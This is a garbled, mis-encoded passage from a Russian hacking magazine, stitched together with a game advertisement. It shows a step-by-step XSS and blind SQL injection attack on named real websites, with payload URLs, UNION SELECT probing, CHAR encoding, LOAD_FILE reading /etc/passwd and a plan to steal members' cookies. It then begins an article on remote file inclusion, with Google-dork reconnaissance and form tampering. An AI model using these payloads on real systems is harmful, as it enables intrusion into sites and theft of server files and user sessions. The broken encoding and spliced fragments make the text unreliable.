Ïîïðîáóåì áàíàëüíî çàãðóçèòü åãî: http://www.mid-
wife.org/header.cfm. Â îòâåò âèäèì îøèáêó, â êîòîðîé
îòîáðàæàåòñÿ äàæå êîä ñöåíàðèÿ, ñðàáîòàâøèé íå-
âåðíî. Ñàìîå èíòåðåñíîå â ýòîì êîäå � ñëåäóþùàÿ
ñòðîêà:

<cfif isDefined("url.id")

and not isDefined("newsPage")>

Ïðîáëåìà ÿâíî êðîåòñÿ â òîì, ÷òî â URL íåò ïàðà-
ìåòðà id. Ïîïðîáóåì åãî òóäà âíåäðèòü è çàãðóçèì
ñòðàíè÷êó òàêèì îáðàçîì: http://www.midwife.org/hea-
der.cfm?id=75. Â îòâåò çàãðóçèëàñü øàïêà ñàéòà, íî âíè-
çó ñíîâà ñîîáùåíèå îá îøèáêå è æèðíûì öâåòîì
âûäåëåíà ñòðîêà:

<td

class="pageHeader"><cfoutput>#subHeader#

</cfoutput></td>

Íà ýòîò ðàç ïðîáëåìà â òîì, ÷òî ïåðåìåííàÿ
subHeader íå èìååò çíà÷åíèÿ. Ïîïðîáóåì çàäàòü åé
çíà÷åíèå ÷åðåç URL, òî åñòü äîáàâèì â URL ñëåäó-
þùèé òåêñò: 

subHeader=

<h1>Hello%20from%20Horrific

</h1>. 

Âñå ñðàáîòàëî. Ðåáåíîê ðîäèëñÿ êðàñèâûì è çäîðî-
âûì, à ïîñðåäè ñòðàíèöû êðàñóåòñÿ íàäïèñü «Hello
from Horrific». Èìåííî ýòîò òåêñò ïåðåäàëñÿ ÷åðåç
URL-ïàðàìåòð â ïåðåìåííóþ subHeader.

Ïîëó÷àåòñÿ, ÷òî ìû ìîæåì èíæåêòèðîâàòü
â ñòðàíèöó ëþáîé HTML-êîä, â òîì ÷èñëå è Java-
Script, à ýòî óæå ïàõíåò àòàêîé XSS. Åñëè ïîïû-
òàòüñÿ çàãðóçèòü ñëåäóþùèé URL, òî íà ñòðàíèöå
ñ ïîìîùüþ JavaScript îòîáðàçèòñÿ îêíî ñ ïîäîá-
íûì ñîîáùåíèåì:

http://www.midwife.org/header.cfm?id=

75&subHeader=<script>alert('Ïðèâåò')

</ script>

Òàê êàê íà ñàéòå åñòü ðåãèñòðàöèÿ è öåëûé ðàçäåë
member, îñòàåòñÿ òîëüêî:

1  ÂÛßÑÍÈÒÜ E-MAIL ÀÄÐÅÑÀ ÇÀÐÅÃÈÑÒ-

ÐÈÐÎÂÀÍÍÛÕ ÏÎËÜÇÎÂÀÒÅËÅÉ;

2  ÏÎÄÃÎÒÎÂÈÒÜ URL, ÊÎÒÎÐÛÉ ÁÓÄÅÒ

ÇÀÃÐÓÆÀÒÜ ÑÒÐÀÍÈÖÓ Ñ JAVASCRIPT

È ÎÒÏÐÀÂËßÒÜ COOKIE ÍÀ ÇÀÐÀÍÅÅ

ÏÎÄÃÎÒÎÂËÅÍÍÛÉ ÑÖÅÍÀÐÈÉ.

Îäíèì ñëîâîì, êëàññè÷åñêèé XSS. Ðîäû ïðîøëè
óäà÷íî. Ñîîáùèì íÿíüêàì è àêóøåðêàì, ÷òî èõ web-
ïðîãðàììèñò ðîäèëñÿ ñ äåôåêòîì ìîçãà :).

ó÷èì BBerkeley ææèçíè. Ñëåäóþùåé æåðòâîé èñ-
ñëåäîâàíèé ñòàë çíàìåíèòûé èíñòèòóò Berkeley.
Ïîêàæåì àìåðèêàíöàì æåñòîêóþ äåéñòâèòåëü-
íîñòü! Èòàê, çàõîäèì íà ñàéò http://cshe.berkeley.edu/
è ñìîòðèì, ÷òî òóò åñòü. Âî-ïåðâûõ, ñðàçó áðîñàþò-
ñÿ â ãëàçà ïóáëèêàöèè ñòàòåé. Ïî÷åìó áðîñàþòñÿ?
Äà ïîòîìó ÷òî îíè âûáèðàþòñÿ ïî ïàðàìåòðó s, êî-
òîðûé ïåðåäàåòñÿ ÷åðåç url. Ïðîâåðèì ýòîò ïàðà-
ìåòð íà âøèâîñòü.

Äëÿ íà÷àëà ïîïðîáóåì äîáàâèòü â åãî êîíåö
îäèíàðíóþ êàâû÷êó. Â ðåçóëüòàòå ãðóçèòñÿ ñòðàíè-
öà, íà êîòîðîé ñîîáùàþò, ÷òî íåò ïóáëèêàöèè äëÿ
îòîáðàæåíèÿ. Óæå íåïëîõî. À åñëè äîáàâèòü «and
1=1»? Òîãäà ïóáëèêàöèÿ âåðíåòñÿ íà ðîäèíó. Âñå ÿñ-
íî, äèàãíîç � SQL Injection â ñêðûòîì âèäå. Òî åñòü
îøèáêà åñòü, íî ñîîáùåíèÿ îá îøèáêå íåò. Íó, íè÷å-
ãî, ýòî íå ñèëüíî óñëîæíèò çàäà÷ó.

Íè÷åãî íîâîãî íå ïðèäóìûâàåì, à ïðîñòî ïîä-
áèðàåì êîëè÷åñòâî ïîëåé, âîçâðàùàåìûõ çàïðî-
ñîì â ñöåíàðèè. Ýòî äåëàåòñÿ ïóòåì äîáàâëåíèÿ
â êîíåö ïàðàìåòðà îáúåäèíåíèÿ select è ïîñòåïåí-
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íîãî óâåëè÷åíèÿ êîëè÷åñòâà ïîëåé äî òåõ ïîð, ïî-
êà ñòðàíèöà ñíîâà íå îòîáðàçèòñÿ êîððåêòíî. Ïîëó-
÷èëîñü ÷åòûðå ïîëÿ, è ñëåäóþùèé URL îòîáðàçèë-
ñÿ êîððåêòíî:

http://cshe.berkeley.edu/publications/

publications.php?s=1%20and%201=1%20union

%20select%201,2,3,4

Òåïåðü äåëàåì òàê, ÷òîáû çàïðîñ, ïðîïèñàííûé
â ñöåíàðèè, íè÷åãî íå âåðíóë. Äëÿ ýòîãî â URL, ïðè-
âåäåííîì âûøå, óñëîâèå «1=1» çàìåíÿåì íà «1=0».
Òåïåðü èñ÷åçíåò ñòàòüÿ ñ ID ðàâíûì 1, à ïîÿâèòñÿ òî,
÷òî âîçâðàùàåò âíåäðåííûé çàïðîñ. À âíåäðåííûé
çàïðîñ âîçâðàùàåò ÷åòûðå ïîëÿ ñî çíà÷åíèÿìè îò 1
äî 4. Ýòî ñäåëàíî ñïåöèàëüíî, ÷òîáû ïðîùå áûëî
íàéòè, êóäà íà ñòðàíèöå ïîïàäàþò ýòè ïîëÿ. ×èñëà 1
íå îêàçàëîñü â ôîðìå. Âèäèìî, ýòî èäåíòèôèêàòîð,
êîòîðûé íå îòîáðàæàåòñÿ. À âîò ÷èñëà îò 2 äî 3 îòîá-
ðàæàþòñÿ, è, çíà÷èò, â ëþáóþ èç ýòèõ ïîçèöèé ìîæ-
íî âíåäðÿòü èìåíà ïîëåé èëè äðóãèå ôóíêöèè.

Ïîïðîáóåì âûÿñíèòü âåðñèþ, èìÿ ïîëüçîâà-
òåëÿ è èìÿ áàçû äàííûõ. Äëÿ ýòîãî ìîæíî âìåñòî
ïîñëåäíåé ÷åòâåðêè â URL ïîñëåäîâàòåëüíî ïîñ-
òàâèòü èìåíà ôóíêöèé VERSION(), USER() è DATA-
BASE(). Îáëîìèñü áàáêà, ìû íà ïàðîõîäå! Íè îä-
íà èç ýòèõ ôóíêöèé íè÷åãî íå âåðíóëà, à â îòâåò
áðàóçåð ãðóçèò ñòðàíèöó ñ ñîîáùåíèåì î òîì, ÷òî

íè÷åãî íåò äëÿ îòîáðàæåíèÿ. Ýòî äåéñòâèòåëüíî
îáëîì. Ñîîáùåíèé îá îøèáêàõ íåò, è, çíà÷èò, ìû
íå ìîæåì òî÷íî îïðåäåëèòü, êàêàÿ ïåðåä íàìè áà-
çà äàííûõ. À ÷òî åñëè ýòî íå MySQL, è ïîýòîìó
ôóíêöèé íåò?

Ïðîâåðèì, äåéñòâèòåëüíî ëè ïåðåä íàìè
MySQL. Ïîïðîáóåì îáúåäèíåííûé çàïðîñ ñâÿçàòü
ñ òàáëèöåé MySQL.user:

http://cshe.berkeley.edu/publications/

publications.php?s=1%20and%201=0%20union

%20select%201,2,3,4%20from%20mysql.user

Çàïðîñ ïðîõîäèò óñïåøíî, çíà÷èò, áàçà äàííûõ
MySQL ñóùåñòâóåò è â íåé åñòü òàáëèöà user. Ïîï-
ðîáóåì âûâåñòè èìÿ ïîëüçîâàòåëÿ èç ýòîé òàáëèöû.
Âìåñòî ÷åòâåðêè âñòàâëÿåì èìÿ ïîëÿ user è ñíîâà
ïîëó÷àåì îáëîì. Äà ÷òî òàêîå?! Ìîæåò, ýòî âñå æå
äðóãàÿ áàçà äàííûõ, ïðîñòî äëÿ ìàñêèðîâêè ñîçäà-
ëè áàçó è òàáëèöó mysql.user? Åùå îäèí òåñò � ïîï-
ðîáóåì âìåñòî öèôð âî âíåäðåííîì çàïðîñå ïîñòà-
âèòü òåêñò. Âîò îíî � ñ÷àñòüå àäìèíà: çàïðîñ ìî-
æåò âîçâðàùàòü òîëüêî ÷èñëà, à åñëè ïîñòàâèòü
ñòðîêó, òî ðåçóëüòàò � ïîëíûé îáëîì.

×òî æå äåëàòü? Äîïóñòèì âñå æå, ÷òî ïåðåä
íàìè ñàìûé ïîïóëÿðíûé MySQL. Òîãäà ìîæíî áó-
äåò ïîïðîáîâàòü ïåðåäàâàòü òåêñò ñ ïîìîùüþ
ôóíêöèè CHAR. Ôîðìèðóåì ñëåäóþùóþ ñòðîêó:

CHAR(60,72,49,62,117,115,101,114,60,47,

72,49,62)

Åñëè ïåðåâåñòè â óäîáî÷èòàåìûé òåêñò, òî ýòè êîäû
ïðåâðàùàþòñÿ â ñòðî÷êó:

<h1>user</h1>

Ñòàâèì ýòîò êîä âìåñòî òðåòüåãî ïàðàìåòðà
âíåäðåííîãî çàïðîñà è íàñëàæäàåìñÿ. Íàêîíåö-
òî. Çàâåòíîå ñëîâî user ïîÿâèëîñü íà ñòðàíèöå,
ïðè÷åì ñ ó÷åòîì ôîðìàòèðîâàíèÿ òåãà <h1>. Ïî-
ëó÷àåòñÿ, ÷òî òàêèì îáðàçîì ìîæíî âíåäðÿòü
è JavaScript-êîä!

Èòàê, ïîäâåäåì èòîã. Ìû óæå ìîæåì èíæåêòè-
ðîâàòü êîä è äàæå íàó÷èëèñü ïåðåäàâàòü ñòðîêè
ñ ïîìîùüþ ôóíêöèè CHAR. Ìû òàêæå ìîæåì áûòü
ïðàêòè÷åñêè óâåðåííûìè, ÷òî ïåðåä íàìè ñàìàÿ
íàñòîÿùàÿ áàçà äàííûõ MySQL. À ÷òî ýòî íàì äàåò?
À òî, ÷òî åñòü åùå òàêàÿ ôóíêöèÿ, êàê LOAD_FILE,
êîòîðàÿ ìîæåò çàãðóæàòü ëþáîé ôàéë íà ñåðâåðå.
Ïîïðîáóåì çàãðóçèòü ôàéë ïàðîëåé /etc/passwd. Íå
çàáûâàåì, ÷òî ñòðîêè íóæíî êîäèðîâàòü, à çíà÷èò,
îáðàùåíèå ê ôàéëó äîëæíî áûòü:

LOAD_FILE(char(47,101,116,99,47,112,97,

115,115,119,100))

Â ñêîáî÷êàõ çàêîäèðîâàí ïóòü /etc/passwd.
Âñòàâëÿåì ýòîò êîä â URL íà ìåñòî ëþáîãî èç

òðåõ ïàðàìåòðîâ (êðîìå ïåðâîãî) è çàãðóæàåì
ñòðàíè÷êó. Ïåðåä íàìè ñïèñîê ïîëüçîâàòåëåé
ñîáñòâåííîé ïåðñîíîé. Ïîëó÷àåòñÿ, ÷òî àäìèíàì
åùå ó÷èòüñÿ è ó÷èòüñÿ. È ýòî çíàìåíèòûé Áåðêëè?! 

Ìû ìîæåì ïðîñìàòðèâàòü ôàéëû íà ñåðâåðå,
íà êîòîðûå õâàòèò ïðàâ...

óäà÷è! È ýòî òîëüêî ñàìûå ïîêàçàòåëüíûå
ñàéòû. Äàííàÿ îøèáêà, íåñìîòðÿ íà ñâîþ äîëãóþ
èñòîðèþ, î÷åíü ðàñïðîñòðàíåíà è î÷åíü îïàñíà, íî
ïðîãðàììèñòû è àäìèíèñòðàòîðû ïî-ïðåæíåìó äî-
ïóñêàþò åå! È ïîñëå ýòîãî ãîâîðÿò, ÷òî âî âñåì âè-
íîâàòû õàêåðû?! Âèíîâàòû ïðîãðàììåðû-ïèîíåðû,
à õàêåðû òîëüêî íàêàçûâàþò èõ çà ãëóïîñòü è íåâ-
íèìàòåëüíîñòü. 

Âñåì àäìèíèñòðàòîðàì ïðèâåäåííûõ ñàéòîâ
ìû ðàçîñëàëè ñîîáùåíèå ñ îïèñàíèåì îøèáêè�
Ïîçîð íà èõ ñåäûå ãîëîâû!
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ïïîîëëààããààþþòò,, ÷÷òòîî îîííèè ââûûøøåå ççààêêîîííàà.. ÝÝòòàà ââûûññîîêêîî
ööååííèèììààÿÿ èè îîññîîááîî îîááóó÷÷ååííííààÿÿ ååääèèííèèööàà �� SSWWAATT
ââ SSWWAATT 44.. ÂÂûû �� ëëèèääååðð òòààêêîîããîî ïïîîääððààççääååëëååííèèÿÿ
ââ ïïððååääååëëààõõ ááîîëëüüøøîîããîî ããîîððîîääàà,, ããääåå îîïïààññííîîññòòüü
ïïîîää÷÷ààññ ââûûããëëÿÿääèèòò ííååïïððååääîîòòââððààòòèèììîîéé.. 

ÆÆààííðð:: 

Action  

ÝÍÖÈÊËÎÏÅÄÈß

Îãðîìíîå  êêîëè÷åñòâî
ñêðèíøîòîâ 

Èñ÷åðïûâàþùèå
îïèñàíèÿ 

* *

ÑÀÌÀß ÏÎËÍÀß
ÈÍÔÎÐÌÀÖÈß ÎÁ ÈÃÐÀÕ

GGootthhiicc 33 ((UUSS))

2240 ðð.

Âñå öåíû äåéñòâèòåëüíû íà ìîìåíò ïóáëèêàöèè ðåêëàìû

Òðåáóþòñÿ êóðüåðû! Äîñòîéíûå óñëîâèÿ. Êëàññíûé ìîëîäîé êîëëåêòèâ.
Çâîíèòå: +7 ((495) 7780 888 225 èëè ïèøèòå: sales@gamepost.ru



àíàëèç ææåðòâû. Ñ ÷åãî æå íà÷àòü íîâîèñïå-
÷åííîìó õàêåðó, æåëàþùåìó ïðîñëàâèòüñÿ, çàõâà-
òèòü âëàñòü âî âñåì ìèðå èëè ïðîñòî ïîäçàðàáî-
òàòü? Íà÷àòü ñëåäóåò ñ ïîèñêà è àíàëèçà æåðòâû.
Ïðåæäå ÷åì ïûòàòüñÿ àòàêîâàòü êàêîé ëèáî
web-ïîðòàë íóæíî ñîáðàòü èíôîðìàöèþ, íåîáõîäè-
ìóþ è äîñòàòî÷íóþ äëÿ åãî âçëîìà.

Èíôîðìàöèþ ìîæíî ðàçáèòü íà êàòåãîðèè
ïî ïîñëåäîâàòåëüíîñòè ïðîèçâîäèìûõ äåéñòâèé. 

Âîò îîíè:
1  ÏÐÎÂÅÐÊÀ ÒÎÃÎ, ÈÑÏÎËÜÇÓÅÒ ËÈ
ÑÀÉÒ-ÆÅÐÒÂÀ ÑÂÎÈ ÑÎÁÑÒÂÅÍÍÛÅ
ÑÊÐÈÏÒÛ ÈËÈ ÓÆÅ ÍÀÏÈÑÀÍÍÛÅ
ÊÅÌ-ÒÎ ÑÖÅÍÀÐÈÈ.

� ÅÑËÈ ÑÖÅÍÀÐÈÈ ÊÅÌ-ÒÎ ÓÆÅ ÍÀÏÈÑÀ-
ÍÛ, ÒÎ ÅÑÒÜ ßÂËßÞÒÑß ÎÁÙÅÄÎÑÒÓÏ-
ÍÛÌÈ, ÒÎ ÈÙÅÌ ÑÓÙÅÑÒÂÓÞÙÈÉ
ÝÊÑÏËÎÉÒ ÍÀ ÖÅËÅÂÎÅ ÏÐÈËÎÆÅÍÈÅ.
ÂÅÐÎßÒÍÎÑÒÜ ÑÓÙÅÑÒÂÎÂÀÍÈß

RRFFII-ïïààííîîïïòòèèêêóóììúú
Òîíêîñòè óäàëåííîãî/ëîêàëüíîãî 
PHP-èíêëþäèíãà

ÍÅÑÌÎÒÐß ÍÀ ÒÎ, ×ÒÎ ÝÊÑÏËÎÉÒÛ ÓÄÀËÅÍÍÎÃÎ ÂÊËÞ×ÅÍÈß ÔÀÉËÎÂ ×ÐÅÇÂÛ×ÀÉÍÎ
ÐÀÑÏÐÎÑÒÐÀÍÅÍÛ, ÄÎÂÎËÜÍÎ ÏÐÎÑÒÛ ÄËß ÏÐÈÌÅÍÅÍÈß È Î×ÅÍÜ ÎÏÀÑÍÛ,
ÌÍÎÆÅÑÒÂÎ ÏÐÎÃÐÀÌÌÈÑÒÎÂ ÏÎ-ÏÐÅÆÍÅÌÓ ÑÎÂÅÐØÀÞÒ ÒÈÏÈ×ÍÛÅ ÎØÈÁÊÈ ÏÐÈ
ÐÀÇÐÀÁÎÒÊÅ WEB-ÏÐÈËÎÆÅÍÈÉ, ÎÑÒÀÂËßß ËÀÇÅÉÊÈ ÄËß ÓØËÛÕ ÕÀÊÅÐÎÂ. Â ÄÀÍÍÎÉ
ÑÒÀÒÜÅ ÌÛ ÏÎÏÛÒÀÅÌÑß ÍÅ ÒÎËÜÊÎ ÏÎÊÀÇÀÒÜ, ÊÀÊ ÇËÎÓÌÛØËÅÍÍÈÊÈ ÏÎËÜÇÓÞÒÑß
ÏÐÅÈÌÓÙÅÑÒÂÎÌ ÎØÈÁÎÊ ÊÎÄÈÍÃÀ Ñ ÖÅËÜÞ ÍÀÐÓØÅÍÈß ÊÎÍÔÈÄÅÍÖÈÀËÜÍÎÑÒÈ
ÈÍÔÎÐÌÀÖÈÈ, ÍÎ È ÍÀÓ×ÈÌÑß ÇÀÙÈÙÀÒÜ WEB-ÏÐÈËÎÆÅÍÈÅ

Àíäðåé Cåìåíþ÷åíêî 
semuha@mail.ru 
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ÝÊÑÏËÎÉÒÀ ÏÎÄ ÊÀÊÎÅ ËÈÁÎ ÏÐÈËÎ-
ÆÅÍÈÅ ÏÐÎÏÎÐÖÈÎÍÀËÜÍÎ ÏÎÏÓËßÐ-
ÍÎÑÒÈ ÄÀÍÍÎÃÎ ÏÐÈËÎÆÅÍÈß;

� Â ÑËÓ×ÀÅ ÑÀÌÎÏÈÑÍÛÕ ÑÊÐÈÏÒÎÂ
ÍÅÎÁÕÎÄÈÌÎ ÏÎËÓ×ÈÒÜ ÈÑÕÎÄÍÛÉ
ÊÎÄ ÖÅËÅÂÎÃÎ ÏÐÈËÎÆÅÍÈß ÄËß ÑÀ-
ÌÎÑÒÎßÒÅËÜÍÎÉ ÏÐÎÂÅÐÊÈ ÍÀ ÍÀËÈ-
×ÈÅ ÁÀÃÎÂ.

2  ÐÀÑÑÌÎÒÐÅÍÈÅ ÑÖÅÍÀÐÈÅÂ, ÒÐÅÁÓÞ-
ÙÈÕ ÂÂÎÄ ÄÀÍÍÛÕ ÏÎËÜÇÎÂÀÒÅËß.

� ÏÐÎÂÅÐÈÒÜ, ÐÀÁÎÒÀÅÒ ËÈ ÁÐÀÓÇÈÍÃ
ÄÈÐÅÊÒÎÐÈÉ;

� ÏÐÎÂÅÐÈÒÜ ÍÀ ÑÓÙÅÑÒÂÎÂÀÍÈÅ 
È ÄÎÑÒÓÏÍÎÑÒÜ ÎÁÙÅÏÐÈÍßÒÛÅ 
ÔÀÉËÛ È ÄÈÐÅÊÒÎÐÈÈ (/ETC, /BIN, /SBIN,
/ETC/RESOLV.CONF, /ETC/SERVICES,
/ETC/PASSWD È ÒÀÊ ÄÀËÅÅ).

3  ÂÛßÑÍÅÍÈÅ ÒÎÃÎ, ÊÀÊ ÑÖÅÍÀÐÈÈ 
ÎÁÐÀÁÀÒÛÂÀÞÒ ÂÂÎÄÈÌÛÅ ÄÀÍÍÛÅ.
ÝÒÎ ÌÎÆÅÒ ÁÛÒÜ:

� ÇÀÏÈÑÜ Â ÁÀÇÛ ÄÀÍÍÛÕ ÈËÈ ÔÀÉËÛ;

� ÂÛÂÎÄ ÄÀÍÍÛÕ ÎÁÐÀÒÍÎ ÏÎËÜÇÎÂÀÒÅËÞ;

� ÂÛÏÎËÍÅÍÈÅ ÊÎÌÀÍÄ.

4  ÂÛßÑÍÅÍÈÅ ÒÎÃÎ, ÊÀÊ ÏÐÈËÎÆÅÍÈß
ÔÈËÜÒÐÓÞÒ ÂÂÎÄÈÌÛÅ ÄÀÍÍÛÅ. 
ÏÎÏÛÒÀÒÜÑß ÎÁÎÉÒÈ ÝÒÈ ÔÈËÜÒÐÛ.

5  ÈÑÏÎËÜÇÎÂÀÍÈÅ ÓÍÈÂÅÐÑÀËÜÍÎÃÎ
WEB-ÔÈËÜÒÐÀ PROXOMITRON ÈËÈ ÏÎ-
ÄÎÁÍÎÉ ÓÒÈËÈÒÛ, ÏÎÇÂÎËßÞÙÅÉ
ÏÐÎÑÌÀÒÐÈÂÀÒÜ HTTP-ÇÀÃÎËÎÂÊÈ 
ÑÎÎÁÙÅÍÈÉ.

6  ÈÑÏÎËÜÇÎÂÀÍÈÅ GOOGLE ÄËß ÑÁÎÐÀ

ÈÍÔÎÐÌÀÖÈÈ. 

Ïîñëåäíèé ïóíêò ìîæíî ðàññìàòðèâàòü îòäåëüíî
îò ïðèâåäåííîé êëàññèôèêàöèè, ïîñêîëüêó îí ïî ïðà-
âó çàñëóæèâàåò îñîáîãî âíèìàíèÿ.

Google êêàê èèíñòðóìåíò õõàêèíãà. Êàê èçâåñòíî,
åñëè íóæíî ÷òî-òî íàéòè � google it! Ýòîò ïðèíöèï
ìîæíî îòíåñòè è ê ïîèñêó óÿçâèìûõ web-ïðèëîæåíèé.

Ïîïðîáóåì ââåñòè â ñòðîêó ïîèñêà Google
çàïðîñ òèïà: inurl:"index.php?page=".

Äàííûé çàïðîñ äàåò ïîíÿòü ïîèñêîâîìó äâèæ-
êó, ÷òî ìû çàïðàøèâàåì ëþáóþ ñòðàíèöó, ñîäåðæà-
ùóþ ñòðîêó «index.php?page=» â êàêîì-ëèáî url. Òàêèì
îáðàçîì, ðåçóëüòàòîì ïîèñêà áóäóò ñòðàíèöû, ñî-
äåðæàùèå èñêîìóþ ñòðîêó, âíå çàâèñèìîñòè îò òî-
ãî, êàêîå çíà÷åíèå ïåðåäàåòñÿ ïàðàìåòðó «page». 

Ïîòåíöèàëüíûå æåðòâû îáíàðóæåíû. Òåïåðü
íàäî âûäåëèòü öåëåâûå ñàéòû. Õîðîøåé ïðîâåðêîé
òîãî, ÿâëÿåòñÿ ëè web-ñàéò äåéñòâèòåëüíî óÿçâèìûì,
áóäåò, íàïðèìåð, ïðèñâîåíèå çíà÷åíèÿ www.google.com
ïàðàìåòðó «page»: www.site.com/index.php?page=www.go-
ogle.com.Â èòîãå, åñëè âìåñòî äàííûõ ïðîâåðÿåìîãî ñàé-
òà ïîÿâëÿåòñÿ ñòðàíè÷êà google.com, web-ñàéò óÿçâèì.

ðàçáîð èè ððåäàêòèðîâàíèå èèñõîäíèêîâ wweb-
ñòðàíèö. Èíîãäà áûâàåò ïîëåçíî ïðîñìîòðåòü èñõîä-
íûé êîä web-ñòðàíèöû. Îáû÷íî ýòî ìîæíî ñäåëàòü
÷åðåç êîíòåêñòíîå ìåíþ «Ïðàâûé êëèê (Right
Click)»!«Ïðîñìîòð èñõîäíîãî êîäà ñòðàíèöû (View
Source)» èëè ÷åðåç ìåíþ «Âèä (View)» ïóíêòà «Èñ-
õîäíûé òåêñò ñòðàíèöû (Source)». Ïðàâäà, òàêèì ñïî-
ñîáîì ìîæíî ïðîñìîòðåòü òîëüêî èñõîäíûå êîäû
HTML-ñòðàíèö. Êîä web-ïðèëîæåíèé, íàïèñàííûõ íà
PHP, Perl, ASP è äðóãèõ èíòåðïðåòèðóåìûõ ÿçûêàõ
óâèäåòü íåëüçÿ, ïîñêîëüêó îí âûïîëíÿåòñÿ íà ñòîðî-
íå ñåðâåðà, à íà ñòðàíèöó âûâîäÿòñÿ òîëüêî ðåçóëü-
òàòû ðàáîòû ñöåíàðèÿ. Òàêèì îáðàçîì, ìîæíî ëèøü
ïîïûòàòüñÿ íàéòè óÿçâèìîñòü, ïîçâîëÿþùóþ ïîëó-
÷èòü ñîäåðæèìîå òîãî èëè èíîãî ôàéëà.

Ðàññìîòðèì ïðèìåð òîãî, êàê ìîæíî èçìå-
íÿòü ïàðàìåòðû ýëåìåíòîâ web-ñòðàíèöû. Ïðåäïî-
ëîæèì, ìû çàøëè íà ñòðàíèöó, ñîäåðæàùóþ ôîð-
ìó äëÿ ââîäà èìåíè è ïàðîëÿ ïîëüçîâàòåëÿ. Îòê-
ðûâ òåêñò ñòðàíèöû, óâèäèì ïðèìåðíî ñëåäóþùåå:

<form name="form_name"

action="/[path]/index.php" method="post"

<input type="text" value="" name="user"

maxlength="15" size="25" />

<input type="text" value="" name="pass"

size="25" disabled/>

<input type="submit" value="Login" />

</form>

Êàê âèäíî, ïîëå, ïðåäíàçíà÷åííîå äëÿ ââîäà ïàðî-
ëåé, èìååò ñâîéñòâî «disabled». Íî ÷òî åñëè ìû õî-
òèì ïîèãðàòü ñ àòðèáóòàìè äàííîãî ïîëÿ è ïîíàáëþ-
äàòü çà ðåàêöèåé ñöåíàðèÿ íà èçìåíåíèå çíà÷åíèé
äàííûõ àòðèáóòîâ? Äëÿ ýòîãî íóæíî ñîõðàíèòü
ñòðàíèöó äëÿ äîñòóïà â îôôëàéíå, çàòåì îòêðûòü
åå â ëþáèìîì ðåäàêòîðå è óñòàíîâèòü íóæíûå çíà-
÷åíèÿ àòðèáóòîâ. Íåîáõîäèìî òàêæå çàìåíèòü âñå
îòíîñèòåëüíûå ïóòè â êîäå ñòðàíèöû íà àáñîëþò-
íûå, èíà÷å ñöåíàðèé äëÿ îáðàáîòêè çàïðîñîâ
index.php íå áóäåò íàéäåí. Â ðåçóëüòàòå ìû ïîëó-
÷èì ïðèìåðíî ñëåäóþùèé êîä:

<form name="form"

action="http://site_name.com/[path]/

index.php" method="post"

<input type="text" value="" name="user"

maxlength="10" size="20" />

<input type="text" value="" name="pass"

size="20" />

<input type="submit" value="Login" />

</form>

Òåïåðü îñòàëîñü ëèøü ñîõðàíèòü ñòðàíèöó, çàïîë-
íèòü äàííûå ôîðìû, îòïðàâèòü èõ ñåðâåðó è æäàòü
îòâåòà. Ïî ðåàêöèè ñåðâåðà íà çàïðîñû ìîæíî óç-
íàòü ìíîãî èíòåðåñíîãî î ðàáîòå öåëåâîãî web-ïðè-
ëîæåíèÿ :). Äàæå âîçâðàùàåìûå ñîîáùåíèÿ îá
îøèáêàõ ìîãóò ñîäåðæàòü äåéñòâèòåëüíî ïîëåçíûå
ñâåäåíèÿ, òàêèå êàê ïóòè è íàçâàíèÿ ñöåíàðèåâ.

cèëüíûå èè ññëàáûå ññòîðîíû PPHP. Web-ïðèëî-
æåíèÿ ìîãóò áûòü íàïèñàíû íà ðàçëè÷íûõ ÿçûêàõ
ïðîãðàììèðîâàíèÿ. Íàèáîëåå ïîïóëÿðíûìè ÿçûêà-
ìè ÿâëÿþòñÿ .ASP (Active Server Pages), .PHP (PHP
Hypertext Preprocessor) è .PL (Perl). Ìû ñôîêóñèðó-
åì ñâîå âíèìàíèå íà PHP-áàçèðóåìûõ ïðèëîæåíè-
ÿõ ââèäó èõ ðàñïðîñòðàíåííîñòè è ïîïóëÿðíîñòè.

PHP ÿâëÿåòñÿ èíòåðïðåòèðóåìûì ÿçûêîì.
Ïîïóëÿðíîñòü PHP îáúÿñíÿåòñÿ ïðîñòîòîé è áûñò-
ðîòîé íàïèñàíèÿ ïðèëîæåíèé äëÿ ðàçëè÷íûõ öå-
ëåé. PHP âêëþ÷àåò òûñÿ÷è âíóòðåííèõ ôóíêöèé äëÿ
ðåàëèçàöèè ëþáûõ âîçìîæíîñòåé. Ïîýòîìó îá-
ëàñòü ïðèìåíåíèÿ PHP îãðàíè÷åíà òîëüêî òâîåé
ôàíòàçèåé. Òàêîé øèðîêèé íàáîð èíñòðóìåíòàðèÿ
ÿâëÿåòñÿ ãëàâíûì àêòèâîì è, îäíîâðåìåííî, áîëü-
øîé ñëàáîñòüþ PHP ââèäó òîãî, ÷òî íåàêêóðàòíîå
èñïîëüçîâàíèå íåêîòîðûõ ôóíêöèé ïðèâîäèò ê íå-
æåëàòåëüíûì ýôôåêòàì. 

Ýêñïëóàòèðîâàíèå íàøóìåâøèõ RFI-ýêñïëîéòîâ
âîçìîæíî áëàãîäàðÿ íàëè÷èþ â PHP ÷åòûðåõ ôóíê-
öèé: include(), include_once(), require(), require_once().
Âñå îíè âêëþ÷àþò êîä ñòîðîííèõ ñöåíàðèåâ è âûïîë-
íÿþò åãî, íî êàæäàÿ ôóíêöèÿ èìååò ñâîè íþàíñû. 

include()/require(). Ôóíêöèÿ include() ñ÷èòûâàåò
çàäàííûé ôàéë è èíòåðïðåòèðóåò åãî ñîäåðæèìîå
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êàê PHP-êîä. Äåéñòâèÿ ôóíêöèé include() è require()
èäåíòè÷íû çà èñêëþ÷åíèåì òîãî, êàê îíè îáðàáàòû-
âàþò îøèáêè. Â ñëó÷àå íåóäà÷è include() âîçâðàùà-
åò ïðåäóïðåæäåíèå (Warning), â òî âðåìÿ êàê ðå-
çóëüòàòîì require() â ýòîì ñëó÷àå áóäåò âîçâðàùå-
íèå ôàòàëüíîé îøèáêè (Fatal Error). Òàêèì îáðàçîì,
ïðè íåîáõîäèìîñòè ïðåðâàòü îáðàáîòêó ñòðàíèöû
â ñëó÷àå íåâîçìîæíîñòè âêëþ÷èòü èñêîìûé ôàéë,
íóæíî ïîëüçîâàòüñÿ ôóíêöèåé require(). Ïðè èñïîëü-
çîâàíèè include() â ñëó÷àå îøèáêè ñöåíàðèé ïðî-
äîëæèò âûïîëíåíèå.

Êîíôèãóðàöèîííàÿ äèðåêòèâà include_path
óêàçûâàåò ñïèñîê äèðåêòîðèé, â êîòîðûõ ôóíê-
öèè require() è include() èùóò ôàéëû. Ôîðìàò ñî-
îòâåòñòâóåò ôîðìàòó ïåðåìåííîé îêðóæåíèÿ
PATH èñïîëüçóåìîé ñèñòåìû: ñïèñîê äèðåêòî-
